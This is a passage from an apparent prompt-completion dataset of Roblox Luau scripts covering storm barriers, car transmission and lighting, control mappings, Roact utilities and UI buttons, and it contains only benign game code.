tweenInfo = TweenInfo.new(timeUntilTarget, Enum.EasingStyle.Linear)\n\t\t\tlocal goal = {}\n\t\t\tgoal.Value = _state.target_radius\n\t\t\tstormRadiusTween = TweenService:Create(stormRadiusTweenValue, tweenInfo, goal)\n\t\t\tstormRadiusTween:Play()\n\t\t\tstormRadiusSetToState = false\n\t\tend\n\tend\n\n\t-- Minimap\n\tif stormPos == _state.target_pos and stormRadius == _state.target_radius and _state.nextPos and _state.nextRadius then\n\t\t-- Show next stage target as target indicator while waiting\n\t\tMinimapGui.updateStormIndicator(stormPos, stormRadius, _state.nextPos, _state.nextRadius)\n\telseif stormPos == _state.target_pos and stormRadius == _state.target_radius and (not _state.nextPos or not _state.nextRadius) then\n\t\t-- Makes target essentially disappear on last stage when storm shrinks to nothing\n\t\tMinimapGui.updateStormIndicator(stormPos, stormRadius, stormPos, 1)\n\telse\n\t\t-- Move to current target\n\t\tMinimapGui.updateStormIndicator(stormPosTweenValue.Value, stormRadiusTweenValue.Value, _state.target_pos, _state.target_radius)\n\tend\n\n\t-- Calculate the distance to the perimeter for scaling other effects\n\tlocal character = Util.getClientFocus()\n\tif character and character.PrimaryPart then\n\t\tlocal playerPos = character.PrimaryPart.Position\n\t\tlocal playerPosXZPlane = Vector3.new(playerPos.X, 0, playerPos.Z)\n\t\tlocal stormPosDelta = stormPos - playerPosXZPlane\n\n\t\t-- Positive proximity is inside of the play area, negative is the storm\n\t\tlocal proximity = stormRadius - stormPosDelta.Magnitude\n\t\tlocal playerDir = (character.PrimaryPart.CFrame.LookVector * Vector3.new(1, 0, 1)).Unit\n\t\tlocal facingStorm = math.clamp(stormPosDelta.Unit:Dot(playerDir) * -1, 0, 1)\n\n\t\t-- Adjusting the lighting\n\t\tlocal stormLightingLevel = math.clamp((proximity - 100) * -0.01, 0, 1) * (facingStorm * 0.5 + 0.5)\n\t\tfor k, v in pairs(_stormLighting) do\n\t\t\tLighting[k] = Util.lerp(_baseLighting[k], v, stormLightingLevel)\n\t\tend\n\n\t\t-- Barrier visualization update\n\t\tfor i, barrierPartInfo in ipairs(barrierPartInfos) do\n\t\t\tupdateBarrierPartInfo(barrierPartInfo, playerPos, stormPosTweenValue.Value, stormRadiusTweenValue.Value, i)\n\t\tend\n\tend\n\nend\n\nlocal function onCharacterAdded(character)\n\tif #barrierPartsFolder:GetChildren() == 0 then\n\t\t-- Setup the storm barrier\n\t\tlocal partTemplate = ReplicatedStorage.Assets.Meshes:WaitForChild(\"barrierPartTemplate\")\n\t\tpartTemplate.Transparency = 1\n\t\tpartTemplate.CanCollide = false\n\t\tpartTemplate.Material = Enum.Material.ForceField\n\t\tpartTemplate.TextureID = \"rbxassetid://3970410602\"\n\t\tpartTemplate.Anchored = true\n\t\tpartTemplate.CastShadow = false\n\t\tpartTemplate.Color = BARRIERPART_COLOR\n\n\t\tfor i = 1, NUMBER_OF_LARGEST_SUBDIVISIONS do\n\t\t\tlocal newPart = partTemplate:Clone()\n\t\t\tnewPart.Name = \"BarrierPart_\" .. i\n\t\t\tnewPart.Parent = barrierPartsFolder\n\t\t\tlocal stepSize = 360 / NUMBER_OF_LARGEST_SUBDIVISIONS\n\t\t\tbarrierPartInfos[i] = getBarrierPartInfo(newPart, i * stepSize, (i + 1) * stepSize, 1, false, nil)\n\t\tend\n\n\t\tpartTemplate:Destroy()\n\tend\nend\n\nPlayers.LocalPlayer.CharacterAdded:Connect(onCharacterAdded)\nif Players.LocalPlayer.Character then\n\tonCharacterAdded(Players.LocalPlayer.Character)\nend\n\nBroadcast.registerHandler(\"BARRIER\", _onStateUpdate)\nRunService.RenderStepped:Connect(_update)\n\nreturn nil\n"} +{"prompt": "--This Is for my buddys 00dino and imaginary50cent", "completion": "\n"} +{"prompt": "-- === STORED DATA FORMAT ===\n-- The format of the per-player data saved to Data Stores is as follows:\n-- {\n-- \tstatus = \"banned\" OR \"not-banned\",\n-- \texpires = timestamp (int) OR nil,\n-- \treason = string OR nil,\n-- \tkicks = int,\n-- \tlastKick = timestamp (int)\n-- }", "completion": "\n"} +{"prompt": "--////////////////////////////// Methods\n--//////////////////////////////////////", "completion": "\nlocal methods = {}\nmethods.__index = methods\n\nfunction methods:SendMessage(message, toChannel)\n\tself.SayMessageRequest:FireServer(message, toChannel)\nend\n\nfunction methods:RegisterSayMessageFunction(func)\n\tself.SayMessageRequest = func\nend\n"} +{"prompt": "---------------\n--// Code\n---------------", "completion": "\nwhile true do\n\tscript.Parent.Middle:PivotTo(pos)\n\tlocal tween = TweenService:Create(script.Parent.Middle, TweenInfo.new(600), {[\"CFrame\"] = script.Parent.Target.CFrame})\n\ttween:Play()\n\ttween.Completed:Wait()\n\ttask.wait(1)\nend\n\t\n\t\n\t\t\n"} +{"prompt": "-- ROBLOX deviation: static definition for StackTraceConfig", "completion": "\nexport type StackTraceConfig = {\n\trootDir: string,\n\ttestMatch: Array,\n}\n\nexport type StackTraceOptions = { noStackTrace: boolean, noCodeFrame: boolean? }\n"} +{"prompt": "--{HPattern, Automatic, DualClutch, CVT}", "completion": "\nif script.Parent.Storage.EngineType.Value ~= \"Electric\" then\n\tif script.Parent.Storage.TransmissionType.Value == \"HPattern\" then\n\t\tif currentgear.Value == 3 and clutch.Value == true then\n\t--script.Parent.Storage.AutoClutch.Value = true\n\telse\n\t--script.Parent.Storage.AutoClutch.Value = false\n\tend\n\telseif script.Parent.Storage.TransmissionType.Value == \"Automatic\" then\n\t\t\n\telseif script.Parent.Storage.TransmissionType.Value == \"DualClutch\" then\n\t\t\n\telseif script.Parent.Storage.TransmissionType.Value == \"CVT\" then\n\t\tvvv = 0.034\n\t\tvt = 0.7\n\t\tif rpm.Value >= 5000*convert and throttle.Value >= 1 then\n\t\t\tif gear1.Value > 0.7 and speed > 40 then\n\t\t\tgear1.Value = gear1.Value - 0.02*(2-(speed/130))\n\t\t\telseif gear1.Value < 0.5 then\n\t\t\tgear1.Value = 0.5\n\t\t\tend\n\t\t\t\n\t\telseif rpm.Value <= 4900*convert then\n\t\t\tif gear1.Value > 4 then\n\t\t\t\tgear1.Value = 4\n\t\t\telse\n\t\t\tgear1.Value = gear1.Value + 0.028*(2-(speed/130))\n\t\t\tend\n\t\n\t\tend\n\t\n\tend\nend\n\n\nif carSeat.Throttle == -1 then\ndrive = speed/1.298\nelse\n\tif carSeat.Dyno.Value == false then\nif script.Parent.Storage.Drivetrain.Value == \"RWD\" then\n\tdrive = \n\t(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude/8)+\n\t(carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude/8)+\n\t(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude/8)+\n\t(carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude/8)+\n\t(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude/8)+\n\t(carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude/8)+\n\t(carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude/8)+\n\t(carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude/8)\n\torderch = ((carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude + carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude)/2)*1.298\n\tTC = rt\n\ttorquesplit.Value = 100\n\telseif script.Parent.Storage.Drivetrain.Value == \"FWD\" then\n\tdrive = \n\t(carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude/2)+\n\t(carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude/2)\n\torderch = ((carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude + carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude)/2)*1.298\n\ttorquesplit.Value = 0\n\tTC = ft\n\telseif script.Parent.Storage.Drivetrain.Value == \"AWD\" then\n\tdrive = \n\t(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude/2)+\n\t(carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude/2)\n\torderch = ((carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude + carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude + carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude + carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude)/4)*1.298\n\tTC = (rt+ft)/2\nend\n\telse\n\t\tif script.Parent.Storage.Drivetrain.Value == \"RWD\" then\n\tdrive = \n\t(carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude/2)+\n\t(carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude/2)\n\t\n\telseif script.Parent.Storage.Drivetrain.Value == \"FWD\" then\n\tdrive = \n\t(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude/2)+\n\t(carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude/2)\n\t\n\telseif script.Parent.Storage.Drivetrain.Value == \"AWD\" then\n\tdrive = \n\t(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude/4)+\n\t(carSeat.Parent.Parent.Wheels.FR.Wheel.RotVelocity.Magnitude/4)+(carSeat.Parent.Parent.Wheels.RL.Wheel.RotVelocity.Magnitude/4)+\n\t(carSeat.Parent.Parent.Wheels.RR.Wheel.RotVelocity.Magnitude/4)\nend\n\t\tend\nend\nxxx = (gear[currentgear.Value]/final.Value)*(111)\novo = (gear[currentgear.Value]/final.Value)*1.5\ntrans.Value = drive\n\nif currentgear.Value ~= 1 then\nx1x = (gear[(currentgear.Value-1)]/final.Value)*(111)\nxx1 = (gear[(currentgear.Value+1)]/final.Value)*(111)\nelse\nx1x = 1\nend\n\ntran = clutch.Clutch.Value\nwheelrpm = trans.Value*xxx\nfour = (gear[currentgear.Value]/final.Value)\nif script.Parent.Functions.ShiftDownRequested.Value ~= true and script.Parent.Functions.ShiftUpRequested.Value ~= true then\nrpm.Value = (engine.Value*(1-tran))+(tran*wheelrpm)\nend\n\ncheckcluch = clutch.Clutch.Value\n\nif clutch.Value == true then\n\tCT = 1\nelse\n\tCT = 0\nend\n"} +{"prompt": "------------------------------------", "completion": "\nmodelname=\"Guard\" -- Put the EXACT name of the team here"} +{"prompt": "--[[\n\tChange is used to generate special prop keys that can be used to connect to\n\tGetPropertyChangedSignal.\n\n\tGenerally, Change is indexed by a Roblox property name:\n\n\t\tRoact.createElement(\"TextBox\", {\n\t\t\t[Roact.Change.Text] = function(rbx)\n\t\t\t\tprint(\"The TextBox\", rbx, \"changed text to\", rbx.Text)\n\t\t\tend,\n\t\t})\n]]", "completion": "\n\nlocal Type = require(script.Parent.Parent.Type)\n\nlocal Change = {}\n\nlocal changeMetatable = {\n\t__tostring = function(self)\n\t\treturn (\"RoactHostChangeEvent(%s)\"):format(self.name)\n\tend,\n}\n\nsetmetatable(Change, {\n\t__index = function(_self, propertyName)\n\t\tlocal changeListener = {\n\t\t\t[Type] = Type.HostChangeEvent,\n\t\t\tname = propertyName,\n\t\t}\n\n\t\tsetmetatable(changeListener, changeMetatable)\n\t\tChange[propertyName] = changeListener\n\n\t\treturn changeListener\n\tend,\n})\n\nreturn Change\n"} +{"prompt": "--// Modules", "completion": "\nlocal SettingsS = Seat.Parent.Parent.Settings\n\tlocal Settings = require(SettingsS)\n\nlocal ExplosiveMissileScript = script.SubScripts.ExplosiveMissile\nlocal SmokeMissileScript = script.SubScripts.SmokeMissile\nlocal HeatMissileScript = script.SubScripts.HeatMissile\n"} +{"prompt": "-- camera settings", "completion": "\nplayer.CameraMaxZoomDistance = 0.5 -- force first person\ncamera.FieldOfView = 100\nhumanoid.CameraOffset = Vector3.new(0, 0, -1)\n "} +{"prompt": "--(FL.RotVelocity.Magnitude+FR.RotVelocity.Magnitude+RL.RotVelocity.Magnitude+RR.RotVelocity.Magnitude+(speed/1.33034))/5", "completion": "\n\nwhile wait() do\nspeed = carSeat.Velocity.Magnitude\npower = 0\naverage = 10*((carSeat.Storage.BrakeBias.Value/100))\ntrack = carSeat.Velocity.Unit*carSeat.CFrame.lookVector\n\tslipDetection = track.X+track.Z\n\t\n\tRight = (carSeat.Parent.Parent.Wheels.RR.Wheel.Velocity.Magnitude+carSeat.Parent.Parent.Wheels.FR.Wheel.Velocity.Magnitude)/2\n\tLeft = (carSeat.Parent.Parent.Wheels.RL.Wheel.Velocity.Magnitude+carSeat.Parent.Parent.Wheels.FL.Wheel.Velocity.Magnitude)/2\n\t\n\tif Right > Left then\n\tleft = true\n\telse\n\t\tleft = false\n\tend\n\t\nif script.OVERRIDE.Value == false then\nif carSeat.Storage.ASC.Value == true then\n\tif carSeat.Steer ~= 0 then\n\t\tif slipDetection > 0.999 and left == true then\n\t\t\tscript.Toggle.Value = true\n\t\telse\n\t\t\tscript.Toggle.Value = false\n\t\tend\n\telse\n\t\tscript.Toggle.Value = false\n\tend\nend\n\nif carSeat.Storage.Handbrake.Value == true then\n\tRLBRAKE.CanCollide = true\n\tRLBRAKEU.CanCollide = true\nelse\n\tif speed > 0 then\n\t\tif script.Parent.Parent.Storage.Brake.Value ~= 0 or script.Toggle.Value == true then\n\t\t\t\tif RL.RotVelocity.Magnitude + power > average then\n\t\t\t\t\tscript.Read.Value = true\n\t\t\t\t\tRLBRAKE.CanCollide = true\n\t\t\t\t\tRLBRAKEU.CanCollide = true --print(\"RL\")\n\n\t\t\t\telseif RL.RotVelocity.Magnitude + power < average then\n\t\t\t\t\t RLBRAKE.CanCollide = false script.Read.Value = false\n\t\t\t\t\t RLBRAKEU.CanCollide = false\t\n\t\t\tend\n\t\t\t\n\t\telseif script.Parent.Parent.Storage.Brake.Value == 0 and script.Toggle.Value == false then\n\t\t\tscript.Read.Value = false\n\t\t\tRLBRAKE.CanCollide = false\n\t\t\tRLBRAKEU.CanCollide = false\n\t\tend\n\tend\nend\nelse\n\tRLBRAKE.CanCollide = true\n\tRLBRAKEU.CanCollide = true\n\tend\nend\n\n"} +{"prompt": "--[[[Default Controls]]", "completion": "\n\t--Peripheral Deadzones\n\tTune.Peripherals = {\n\t\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\t\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\t\t\n\t\tControlLDZone\t\t\t= 5\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\t\tControlRDZone\t\t\t= 5\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n\t}\n\t\n\t--Control Mapping\n\tTune.Controls = {\n\t\t\n\t--Keyboard Controls\n\t\t--Mode Toggles\n\t\tToggleTransMode\t\t\t= Enum.KeyCode.M\t\t\t\t\t,\n\t\t--Primary Controls\n\t\tThrottle\t\t\t\t= Enum.KeyCode.Up\t\t\t\t\t,\n\t\tBrake\t\t\t\t\t= Enum.KeyCode.Down\t\t\t\t\t,\n\t\tSteerLeft\t\t\t\t= Enum.KeyCode.Left\t\t\t\t\t,\n\t\tSteerRight\t\t\t\t= Enum.KeyCode.Right\t\t\t\t,\n\t\t\n\t\t--Secondary Controls\n\t\tThrottle2\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tBrake2\t\t\t\t\t= Enum.KeyCode.S\t\t\t\t\t,\n\t\tSteerLeft2\t\t\t\t= Enum.KeyCode.A\t\t\t\t\t,\n\t\tSteerRight2\t\t\t\t= Enum.KeyCode.D\t\t\t\t\t,\n\t\t\n\t\t--Manual Transmission\n\t\tShiftUp\t\t\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tShiftDown\t\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tClutch\t\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t\t--Handbrake\n\t\tPBrake\t\t\t\t\t= Enum.KeyCode.P\t\t\t\t\t,\n\t\t\n\t--Mouse Controls\n\t\tMouseThrottle\t\t\t= Enum.UserInputType.MouseButton1\t,\n\t\tMouseBrake\t\t\t\t= Enum.UserInputType.MouseButton2\t,\n\t\tMouseClutch\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tMouseShiftUp\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tMouseShiftDown\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tMousePBrake\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Controller Mapping\n\t\tContlrThrottle\t\t\t= Enum.KeyCode.ButtonR2\t\t\t\t,\n\t\tContlrBrake\t\t\t\t= Enum.KeyCode.ButtonL2\t\t\t\t,\n\t\tContlrSteer\t\t\t\t= Enum.KeyCode.Thumbstick1\t\t\t,\n\t\tContlrShiftUp\t\t\t= Enum.KeyCode.ButtonY\t\t\t\t,\n\t\tContlrShiftDown\t\t\t= Enum.KeyCode.ButtonX\t\t\t\t,\n\t\tContlrClutch\t\t\t= Enum.KeyCode.ButtonR1\t\t\t\t,\n\t\tContlrPBrake\t\t\t= Enum.KeyCode.ButtonL1\t\t\t\t,\n\t\tContlrToggleTMode\t\t= Enum.KeyCode.DPadUp\t\t\t\t,\n\t\tContlrToggleTCS\t\t\t= Enum.KeyCode.DPadDown\t\t\t\t,\n\t\tContlrToggleABS\t\t\t= Enum.KeyCode.DPadRight\t\t\t,\n\t}\n\t"} +{"prompt": "---", "completion": "\nif \tscript.Parent.Parent.Parent.IsOn.Value then\n\tscript.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)\nend\n\tscript.Parent.MouseButton1Click:connect(function()\n\t\tif car.Body.Lights.L.L.L.Enabled == false and car.Body.Lights.H.L.L.Enabled == false then\n\t\t\tscript.Parent.BackgroundColor3 = Color3.new(0,255/255,0)\n\t\t\tscript.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)\n\t\t\tcar.Body.Lights.L.L.L.Enabled = true\n\t\t\tcar.Body.Lights.R.L.L.Enabled = true\n\t\t\tcar.Body.Lights.H.L.L.Enabled = false\n\t\t\tfor index, child in pairs(car.Body.Lights.L:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tend\n\t\t\tfor index, child in pairs(car.Body.Lights.R:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tend\n\t\t\tfor index, child in pairs(car.Body.Lights.H:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.SmoothPlastic\n\t\t\tend\n\t\telseif car.Body.Lights.L.L.L.Enabled == true and car.Body.Lights.H.L.L.Enabled == false then\n\t\t\tscript.Parent.BackgroundColor3 = Color3.new(0,0,255/255)\n\t\t\tscript.Parent.TextStrokeColor3 = Color3.new(0,0,255/255)\n\t\t\tcar.Body.Lights.L.L.L.Enabled = true\n\t\t\tcar.Body.Lights.R.L.L.Enabled = true\n\t\t\tcar.Body.Lights.H.L.L.Enabled = true\n\t\t\tfor index, child in pairs(car.Body.Lights.L:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tend\n\t\t\tfor index, child in pairs(car.Body.Lights.R:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tend\n\t\t\tfor index, child in pairs(car.Body.Lights.H:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tend\n\t\telseif car.Body.Lights.L.L.L.Enabled == true and car.Body.Lights.H.L.L.Enabled == true then\n\t\t\tscript.Parent.BackgroundColor3 = Color3.new(0,0,0)\n\t\t\tscript.Parent.TextStrokeColor3 = Color3.new(0,0,0)\n\t\t\tcar.Body.Lights.L.L.L.Enabled = false\n\t\t\tcar.Body.Lights.R.L.L.Enabled = false\n\t\t\tcar.Body.Lights.H.L.L.Enabled = false\n\t\t\tfor index, child in pairs(car.Body.Lights.L:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.SmoothPlastic\n\t\t\tend\n\t\t\tfor index, child in pairs(car.Body.Lights.R:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.SmoothPlastic\n\t\t\tend\n\t\t\tfor index, child in pairs(car.Body.Lights.H:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.SmoothPlastic\n\t\t\tend\n\t\tend\n\tend)\n\t\n\tscript.Parent.Parent.Parent.Values.Brake.Changed:connect(function()\n\t\tif script.Parent.Parent.Parent.Values.Brake.Value ~= 1 and script.Parent.Parent.Parent.IsOn.Value then\n\t\t\tfor index, child in pairs(car.Body.Lights.B:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.SmoothPlastic\n\t\t\tend\n\t\t\tcar.Body.Lights.B.L.L.Enabled = false\n\t\telse\n\t\t\tfor index, child in pairs(car.Body.Lights.B:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tend\n\t\t\tcar.Body.Lights.B.L.L.Enabled = true\n\t\tend\n\tend)\n\t\n\tscript.Parent.Parent.Parent.Values.Brake.Changed:connect(function()\n\t\tif script.Parent.Parent.Parent.Values.Brake.Value ~= 1 then\n\t\t\tfor index, child in pairs(car.Body.Lights.B:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.SmoothPlastic\n\t\t\tend\n\t\t\tcar.Body.Lights.B.L.L.Enabled = false\n\t\telse\n\t\t\tfor index, child in pairs(car.Body.Lights.B:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tend\n\t\t\tcar.Body.Lights.B.L.L.Enabled = true\n\t\tend\n\tend)\n\t\n\tscript.Parent.Parent.Parent.Values.Gear.Changed:connect(function()\n\t\tif script.Parent.Parent.Parent.Values.Gear.Value == -1 then\n\t\t\tfor index, child in pairs(car.Body.Lights.Rev:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.Neon\n\t\t\tcar.DriveSeat.Reverse:Play()\n\t\t\tend\n\t\telse\n\t\t\tfor index, child in pairs(car.Body.Lights.Rev:GetChildren()) do\n\t\t\tchild.Material = Enum.Material.SmoothPlastic\n\t\t\tcar.DriveSeat.Reverse:Stop()\n\t\t\tend\n\t\tend\n\tend)\n\t\n\twhile wait() do\n\t\tif (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then\n\t\tcar.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300\n\t\tcar.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150)\t\n\t\telse\n\t\tcar.DriveSeat.Reverse.Pitch = 1.3\n\t\tcar.DriveSeat.Reverse.Volume = .2\n\t\tend\n\tend\n"} +{"prompt": "------------------------------------------------------------------------\n-- saves the given character into the token buffer\n-- * buffer handling code removed, not used in this implementation\n-- * test for maximum token buffer length not used, makes things faster\n------------------------------------------------------------------------", "completion": "\n\nfunction luaX:save(ls, c)\n local buff = ls.buff\n -- if you want to use this, please uncomment luaX.MAX_SIZET further up\n --if #buff > self.MAX_SIZET then\n -- self:lexerror(ls, \"lexical element too long\")\n --end\n ls.buff = buff..c\nend\n"} +{"prompt": "--[=[\n\tFired when the catalog view is closed.\n\n\t@prop catalogViewClosed RBXScriptSignal\n\t@within MerchBooth\n\t@client\n]=]", "completion": "\nuiStatesEvents.catalogViewClosed = Instance.new(\"BindableEvent\")\n"} +{"prompt": "----------SCRIPTED BY ZEDARKALIEN----------", "completion": "\n\nlocal button = script.Parent\nlocal frame = script.Parent.Parent:WaitForChild(\"Frame\")\nlocal debounce = false\n\nbutton.MouseButton1Up:Connect(function()\n\t\n\tscript.Parent.ClickSound:Play()\n\t\n\tif debounce == false then\n\t\tdebounce = true\n\t\t\n\t\tframe.Visible = true\n\t\tscript.Parent.Text = \"CLOSE\"\n\t\t\n\telseif debounce == true then\n\t\tdebounce = false\n\t\t\n\t\tframe.Visible = false\n\t\tscript.Parent.Text = \"SHOP\"\n\t\t\n\tend\nend)\n\n"} +{"prompt": "-- Disable PickupInfo when player is seated", "completion": "\nlocal runningWhenSeated = false\nlocal function onCharacterAdded(character)\n\tlocal characterHumanoid = character:WaitForChild(\"Humanoid\")\n\tcharacterHumanoid.Seated:Connect(function(isSeated)\n\t\tif isSeated and PickupInfoHandler.instance.isRunning then\n\t\t\trunningWhenSeated = true\n\t\t\tPickupInfoHandler.instance:stop()\n\t\telseif not isSeated and not PickupInfoHandler.instance.isRunning and runningWhenSeated == true then\n\t\t\trunningWhenSeated = false\n\t\t\tPickupInfoHandler.instance:start()\n\t\tend\n\tend)\nend\n\nlocalPlayer.CharacterAdded:Connect(onCharacterAdded)\nif localPlayer.Character then\n\tonCharacterAdded(localPlayer.Character)\nend\n\nreturn PickupInfoHandler\n"} +{"prompt": "-- Parts", "completion": "\nlocal TopBarPart = Home:WaitForChild(\"TopBarPart\")\n\n\nlocal Hook1 = Tire:WaitForChild(\"Hook1\")\nlocal Hook2 = Tire:WaitForChild(\"Hook2\")\nlocal TireMesh = Tire:WaitForChild(\"TireMesh\")\nlocal TireSeat = Tire:WaitForChild(\"TireSeat\")\n\nlocal RopeSupport1 = TopBar:WaitForChild(\"RopeSupport1\")\nlocal RopeSupport2 = TopBar:WaitForChild(\"RopeSupport2\")\n"} +{"prompt": "--[[This is just a visual little thing that looks amazing!!!1!one\n\tThis is all local and should not affect anything you're doing serverside (or clientside)\n--]]", "completion": "\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nfunction Messages(p1)\n\n\t\tlocal v5 = nil;\n\n\t\tfor v2, v3 in ipairs(p1) do\n\t\tif v2 then\n\n\t\telse\n\t\t\tbreak;\n\t\tend;\n\t\tlocal v6 = nil;\n\t\tv6, v5 = unpack(v3);\n\t\tif v6 ~= \"Triple Gems Boost\" then\n\t\t\tif v6 == \"Triple Gems\" then\n\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Triple Gems Boost!\", {\n\t\t\t\t\tcolor = Color3.fromRGB(255, 82, 218)\n\t\t\t\t});\n\t\t\telseif v6 ~= \"Super Lucky Boost\" then\n\t\t\t\tif v6 == \"Super Lucky\" then\n\t\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Super Lucky Boost!\", {\n\t\t\t\t\t\tcolor = Color3.fromRGB(255, 82, 218)\n\t\t\t\t\t});\n\t\t\t\telseif v6 ~= \"Ultra Lucky Boost\" then\n\t\t\t\t\tif v6 == \"Ultra Lucky\" then\n\t\t\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Ultra Lucky Boost!\", {\n\t\t\t\t\t\t\tcolor = Color3.fromRGB(128, 72, 173)\n\t\t\t\t\t\t});\n\t\t\t\t\telseif v6 ~= \"Triple Energy Boost\" then\n\t\t\t\t\t\tif v6 == \"Triple Energy\" then\n\t\t\t\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Triple Energy Boost!\", {\n\t\t\t\t\t\t\t\tcolor = Color3.fromRGB(255, 255, 0)\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got \" .. v1.Functions.Format.Commas(v5) .. \" \" .. v6 .. \"!\", {\n\t\t\t\t\t\t\t\tcolor = Color3.fromRGB(85, 170, 255)\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\tend;\n\t\t\t\t\telse\n\t\t\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Triple Energy Boost!\", {\n\t\t\t\t\t\t\tcolor = Color3.fromRGB(255, 255, 0)\n\t\t\t\t\t\t});\n\t\t\t\t\tend;\n\t\t\t\telse\n\t\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Ultra Lucky Boost!\", {\n\t\t\t\t\t\tcolor = Color3.fromRGB(170, 85, 255)\n\t\t\t\t\t});\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Super Lucky Boost!\", {\n\t\t\t\t\tcolor = Color3.fromRGB(255, 82, 218)\n\t\t\t\t});\n\t\t\tend;\n\t\telse\n\t\t\tv1.Signal.Fire(\"Notification\", \"You got x\" .. v5 .. \" Triple Gems Boost!\", {\n\t\t\t\tcolor = Color3.fromRGB(255, 82, 76)\n\t\t\t});\n\t\tend;\n\t\tif 1 < #p1 then\n\t\t\tv1.Functions.Wait(0.5);\n\t\tend;\t\n\tend;\nend;\nv1.Network.Fired(\"Rewards Redeemed\"):Connect(function(p2)\n\tMessages(p2);\nend);\nv1.Signal.Fired(\"Rewards Redeemed\"):Connect(function(p3)\n\tMessages(p3);\nend);\n\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nreturn function(p1, p2, ...)\n\tlocal v2 = ...;\n\tp1.title.Text = v2;\n\tv1.Shared.ApplyRarityColor(p1.title.back, v2);\nend;\n"} +{"prompt": "-- Controller script", "completion": "\nlocal PlayerScripts = player.PlayerScripts\nlocal Controller = PlayerScripts.Controller\n"} +{"prompt": "-- Unanchores all parts in a weld list.", "completion": "\nfunction UnanchorWeldList(weldList)\n\tfor 